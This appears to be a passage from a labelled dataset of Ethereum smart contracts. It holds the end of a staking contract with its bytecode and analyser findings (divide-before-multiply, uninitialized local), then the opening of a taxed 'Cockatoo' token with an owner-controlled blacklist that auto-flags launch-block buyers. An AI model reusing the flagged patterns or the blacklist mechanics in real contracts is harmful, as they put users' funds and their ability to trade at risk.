stakedSupply -= _staking[msg.sender][stake_].amount;
uint _amount = getStakeReward(stake_);
(bool success, bytes memory returnData) = address(_tokenContract).call(abi.encodeWithSignature("mint(address,uint256)",msg.sender, _amount));
require(success);
_removeIndexInArray(_staking[msg.sender], stake_);
emit unstaked(msg.sender, _amount);
}
/* Walks through an array from index, moves all values down one
* step the pops the last value.
*/
function _removeIndexInArray(Stake[] storage _array, uint _index) private {
if (_index >= _array.length) return;
for (uint i = _index; i<_array.length-1; i++){
_array[i] = _array[i+1];
}
_array.pop();
}
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de578063bbcd5bbe11610097578063dd62ed3e11610071578063dd62ed3e14610472578063df4b4776146104a2578063ea440500146104c0578063fca3b5aa146104f057610173565b8063bbcd5bbe14610408578063c293fe1c14610424578063c4e41b221461045457610173565b806370a08231146103225780637a2e18fd146103525780637b0472f01461036e57806395d89b411461038a578063a457c2d7146103a8578063a9059cbb146103d857610173565b80632e17de78116101305780632e17de7814610260578063313ce5671461027c578063395093511461029a57806340c10f19146102ca5780634c738909146102e657806363ffe50d1461030457610173565b806306fdde0314610178578063095ea7b3146101965780630a1c1f4b146101c657806318160ddd146101e257806321806bf91461020057806323b872dd14610230575b600080fd5b61018061050c565b60405161018d9190612b17565b60405180910390f35b6101b060048036038101906101ab9190612392565b6105ae565b6040516101bd9190612afc565b60405180910390f35b6101e060048036038101906101db91906123ce565b6105cc565b005b6101ea61069e565b6040516101f79190612cb9565b60405180910390f35b61021a60048036038101906102159190612422565b6106a8565b6040516102279190612cb9565b60405180910390f35b61024a60048036038101906102459190612343565b61080b565b6040516102579190612afc565b60405180910390f35b61027a60048036038101906102759190612422565b6108e4565b005b610284610bc3565b6040516102919190612cd4565b60405180910390f35b6102b460048036038101906102af9190612392565b610bda565b6040516102c19190612afc565b60405180910390f35b6102e460048036038101906102df9190612392565b610c8d565b005b6102ee610d83565b6040516102fb9190612cb9565b60405180910390f35b61030c610d93565b6040516103199190612cb9565b60405180910390f35b61033c600480360381019061033791906122de565b610e10565b6040516103499190612cb9565b60405180910390f35b61036c600480360381019061036791906122de565b610e58565b005b6103886004803603810190610383919061244b565b610f2c565b005b61039261104b565b60405161039f9190612b17565b60405180910390f35b6103c260048036038101906103bd9190612392565b6110ed565b6040516103cf9190612afc565b60405180910390f35b6103f260048036038101906103ed9190612392565b6111ba565b6040516103ff9190612afc565b60405180910390f35b610422600480360381019061041d91906122de565b6111d8565b005b61043e60048036038101906104399190612422565b6112b3565b60405161044b9190612cb9565b60405180910390f35b61045c611318565b6040516104699190612cb9565b60405180910390f35b61048c60048036038101906104879190612307565b61132b565b6040516104999190612cb9565b60405180910390f35b6104aa6113b2565b6040516104b79190612ada565b60405180910390f35b6104da60048036038101906104d59190612422565b611543565b6040516104e79190612cb9565b60405180910390f35b61050a600480360381019061050591906122de565b6116c7565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105a45780601f10610579576101008083540402835291602001916105a4565b820191906000526020600020905b81548152906001019060200180831161058757829003601f168201915b5050505050905090565b60006105c26105bb61179b565b84846117a3565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661060d61179b565b73ffffffffffffffffffffffffffffffffffffffff1614610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a90612b59565b60405180910390fd5b60005b82518110156106995761068c83828151811061067e57fe5b60200260200101518361196e565b8080600101915050610666565b505050565b6000600254905090565b600080600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106106f557fe5b90600052602060002090600302016001015442039050600c6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858154811061075957fe5b9060005260206000209060030201600201548152602001908152602001600020600101548110156108005780600c6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481106107d357fe5b90600052602060002090600302016002015481526020019081526020016000206001015403915050610806565b60009150505b919050565b6000610818848484611b02565b6108d98461082461179b565b6108d485604051806060016040528060288152602001612f3460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088a61179b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d979092919063ffffffff16565b6117a3565b600190509392505050565b600115156108f182611df2565b15151415610934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092b90612bf9565b60405180910390fd5b61099933600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061098257fe5b90600052602060002090600302016000015461196e565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106109e357fe5b906000526020600020906003020160000154600a600082825403925050819055506000610a0f82611543565b905060006060600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163384604051602401610a61929190612a51565b6040516020818303038152906040527f40c10f19000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610aeb9190612a3a565b6000604051808303816000865af19150503d8060008114610b28576040519150601f19603f3d011682016040523d82523d6000602084013e610b2d565b606091505b509150915081610b3c57600080fd5b610b84600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002085611ed1565b7fc99009ef3dfc0489efa43797eee17157bc922e1ccfdddd9807414c7ca7b10f7c3384604051610bb5929190612a7a565b60405180910390a150505050565b6000600560009054906101000a900460ff16905090565b6000610c83610be761179b565b84610c7e8560016000610bf861179b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c90919063ffffffff16565b6117a3565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d365750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c90612bb9565b60405180910390fd5b610d7f828261196e565b5050565b6000610d8e33610e10565b905090565b600080610d9f33610e10565b905060005b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015610e0857610df7816112b3565b820191508080600101915050610da4565b508091505090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ee8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edf90612b79565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f363383611ff1565b81600a60008282540192505081905550610f4e6121ee565b828160000181815250504281602001818152505081816040018181525050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081908060018154018082558091505060019003906000526020600020906003020160009091909190915060008201518160000155602082015181600101556040820151816002015550507fa337adc42df840d8a4dbe5c08ee60fbd99a4b4ed84704bee7b85a0523b8bbf9f3384600c60008681526020019081526020016000206001015460405161103e93929190612aa3565b60405180910390a1505050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110e35780601f106110b8576101008083540402835291602001916110e3565b820191906000526020600020905b8154815290600101906020018083116110c657829003601f168201915b5050505050905090565b60006111b06110fa61179b565b846111ab85604051806060016040528060258152602001612f5c602591396001600061112461179b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d979092919063ffffffff16565b6117a3565b6001905092915050565b60006111ce6111c761179b565b8484611b02565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661121961179b565b73ffffffffffffffffffffffffffffffffffffffff161461126f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126690612c59565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106112ff57fe5b9060005260206000209060030201600001549050919050565b6000600a5461132561069e565b01905090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b606080600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905067ffffffffffffffff8111801561140e57600080fd5b5060405190808252806020026020018201604052801561144857816020015b61143561220f565b81526020019060019003908161142d5790505b50905060005b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561153b576114a1816112b3565b8282815181106114ad57fe5b60200260200101516000600381106114c157fe5b6020020181815250506114d3816106a8565b8282815181106114df57fe5b60200260200101516001600381106114f357fe5b60200201818152505061150581611543565b82828151811061151157fe5b602002602001015160026003811061152557fe5b602002018181525050808060010191505061144e565b508091505090565b600080600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061159057fe5b906000526020600020906003020160010154420390506000600954820290506000600b5482816115bc57fe5b0490506000600c6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061160f57fe5b90600052602060002090600302016002015481526020019081526020016000206000015482029050600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061168457fe5b906000526020600020906003020160000154029050600060095482816116a657fe5b0490506000606482816116b557fe5b04905080975050505050505050919050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174e90612b79565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611813576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180a90612c79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90612b99565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119619190612cb9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d590612c99565b60405180910390fd5b6119ea6000838361219f565b6119ff81600254611f9c90919063ffffffff16565b600281905550611a56816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611af69190612cb9565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6990612c39565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990612b39565b60405180910390fd5b611bed83838361219f565b611c5881604051806060016040528060268152602001612f0e602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d979092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ceb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d8a9190612cb9565b60405180910390a3505050565b6000838311158290611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd69190612b17565b60405180910390fd5b5060008385039050809150509392505050565b600080600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110611e3f57fe5b90600052602060002090600302016001015442039050600c6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110611ea357fe5b9060005260206000209060030201600201548152602001908152602001600020600101548110915050919050565b81805490508110611ee157611f98565b60008190505b6001838054905003811015611f5b57826001820181548110611f0557fe5b9060005260206000209060030201838281548110611f1f57fe5b90600052602060002090600302016000820154816000015560018201548160010155600282015481600201559050508080600101915050611ee7565b5081805480611f6657fe5b600190038181906000526020600020906003020160008082016000905560018201600090556002820160009055505090555b5050565b600080828401905083811015611fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fde90612bd9565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205890612c19565b60405180910390fd5b61206d8260008361219f565b6120d881604051806060016040528060228152602001612eec602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d979092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212f816002546121a490919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121939190612cb9565b60405180910390a35050565b505050565b60006121e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d97565b905092915050565b60405180606001604052806000815260200160008152602001600081525090565b6040518060600160405280600390602082028036833780820191505090505090565b60008135905061224081612ebd565b92915050565b600082601f83011261225757600080fd5b813561226a61226582612d1c565b612cef565b9150818183526020840193506020810190508385602084028201111561228f57600080fd5b60005b838110156122bf57816122a58882612231565b845260208401935060208301925050600181019050612292565b5050505092915050565b6000813590506122d881612ed4565b92915050565b6000602082840312156122f057600080fd5b60006122fe84828501612231565b91505092915050565b6000806040838503121561231a57600080fd5b600061232885828601612231565b925050602061233985828601612231565b9150509250929050565b60008060006060848603121561235857600080fd5b600061236686828701612231565b935050602061237786828701612231565b9250506040612388868287016122c9565b9150509250925092565b600080604083850312156123a557600080fd5b60006123b385828601612231565b92505060206123c4858286016122c9565b9150509250929050565b600080604083850312156123e157600080fd5b600083013567ffffffffffffffff8111156123fb57600080fd5b61240785828601612246565b9250506020612418858286016122c9565b9150509250929050565b60006020828403121561243457600080fd5b6000612442848285016122c9565b91505092915050565b6000806040838503121561245e57600080fd5b600061246c858286016122c9565b925050602061247d858286016122c9565b9150509250929050565b60006124938383612533565b60608301905092915050565b60006124ab8383612a0d565b60208301905092915050565b6124c081612e43565b82525050565b6124cf81612dee565b82525050565b60006124e082612d5e565b6124ea8185612da4565b93506124f583612d44565b8060005b8381101561252657815161250d8882612487565b975061251883612d8a565b9250506001810190506124f9565b5085935050505092915050565b61253c81612d69565b6125468184612db5565b925061255182612d54565b8060005b83811015612582578151612569878261249f565b965061257483612d97565b925050600181019050612555565b505050505050565b61259381612e00565b82525050565b60006125a482612d74565b6125ae8185612dc0565b93506125be818560208601612e79565b80840191505092915050565b60006125d582612d7f565b6125df8185612dcb565b93506125ef818560208601612e79565b6125f881612eac565b840191505092915050565b6000612610602383612dcb565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612676602a83612dcb565b91507f4f6e6c79206f776e65722063616e206d696e7420746f206d756c7469706c652060008301527f61646472657373657321000000000000000000000000000000000000000000006020830152604082019050919050565b60006126dc601a83612dcb565b91507f4f6e6c79206f776e65722063616e20736574206d696e746572210000000000006000830152602082019050919050565b600061271c602283612dcb565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612782601c83612dcb565b91507f4f6e6c79206d696e7465722063616e206d696e7420746f6b656e7321000000006000830152602082019050919050565b60006127c2601b83612dcb565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000612802601383612dcb565b91507f5374616b65207374696c6c206c6f636b656421000000000000000000000000006000830152602082019050919050565b6000612842602183612dcb565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006128a8602583612dcb565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061290e602283612dcb565b91507f4f6e6c79206f776e65722063616e2073657420746f6b656e20636f6e7472616360008301527f74210000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612974602483612dcb565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006129da601f83612dcb565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b612a1681612e2c565b82525050565b612a2581612e2c565b82525050565b612a3481612e36565b82525050565b6000612a468284612599565b915081905092915050565b6000604082019050612a6660008301856124c6565b612a736020830184612a1c565b9392505050565b6000604082019050612a8f60008301856124b7565b612a9c6020830184612a1c565b9392505050565b6000606082019050612ab860008301866124b7565b612ac56020830185612a1c565b612ad26040830184612a1c565b949350505050565b60006020820190508181036000830152612af481846124d5565b905092915050565b6000602082019050612b11600083018461258a565b92915050565b60006020820190508181036000830152612b3181846125ca565b905092915050565b60006020820190508181036000830152612b5281612603565b9050919050565b60006020820190508181036000830152612b7281612669565b9050919050565b60006020820190508181036000830152612b92816126cf565b9050919050565b60006020820190508181036000830152612bb28161270f565b9050919050565b60006020820190508181036000830152612bd281612775565b9050919050565b60006020820190508181036000830152612bf2816127b5565b9050919050565b60006020820190508181036000830152612c12816127f5565b9050919050565b60006020820190508181036000830152612c3281612835565b9050919050565b60006020820190508181036000830152612c528161289b565b9050919050565b60006020820190508181036000830152612c7281612901565b9050919050565b60006020820190508181036000830152612c9281612967565b9050919050565b60006020820190508181036000830152612cb2816129cd565b9050919050565b6000602082019050612cce6000830184612a1c565b92915050565b6000602082019050612ce96000830184612a2b565b92915050565b6000604051905081810181811067ffffffffffffffff82111715612d1257600080fd5b8060405250919050565b600067ffffffffffffffff821115612d3357600080fd5b602082029050602081019050919050565b6000819050602082019050919050565b6000819050919050565b600081519050919050565b600060039050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600081905092915050565b600082825260208201905092915050565b6000612de782612e0c565b9050919050565b6000612df982612e0c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e4e82612e55565b9050919050565b6000612e6082612e67565b9050919050565b6000612e7282612e0c565b9050919050565b60005b83811015612e97578082015181840152602081019050612e7c565b83811115612ea6576000848401525b50505050565b6000601f19601f8301169050919050565b612ec681612ddc565b8114612ed157600080fd5b50565b612edd81612e2c565b8114612ee857600080fd5b5056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220203ea66424c05029c70c79b7ccd14ddcded0cbf3d01daddf0e6fbd58143e8cfb64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,444 |
0x7F69B8865ed30e6F5607aFFb6ab4856bf15c23f7
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
/**
/**
Cockatoo, a token for people who love cockatoos. https://t.me/CockatootokenPortal
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Cockatoo is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cockatoo";//
string private constant _symbol = "Cockatoo";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 7;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 7;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x1A253C7150dCf939cD01cD32a2d0e285DfC38C72);//
address payable private _marketingAddress = payable(0x1A253C7150dCf939cD01cD32a2d0e285DfC38C72);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 16000000000 * 10**9; //
uint256 public _maxWalletSize = 34000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+0 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
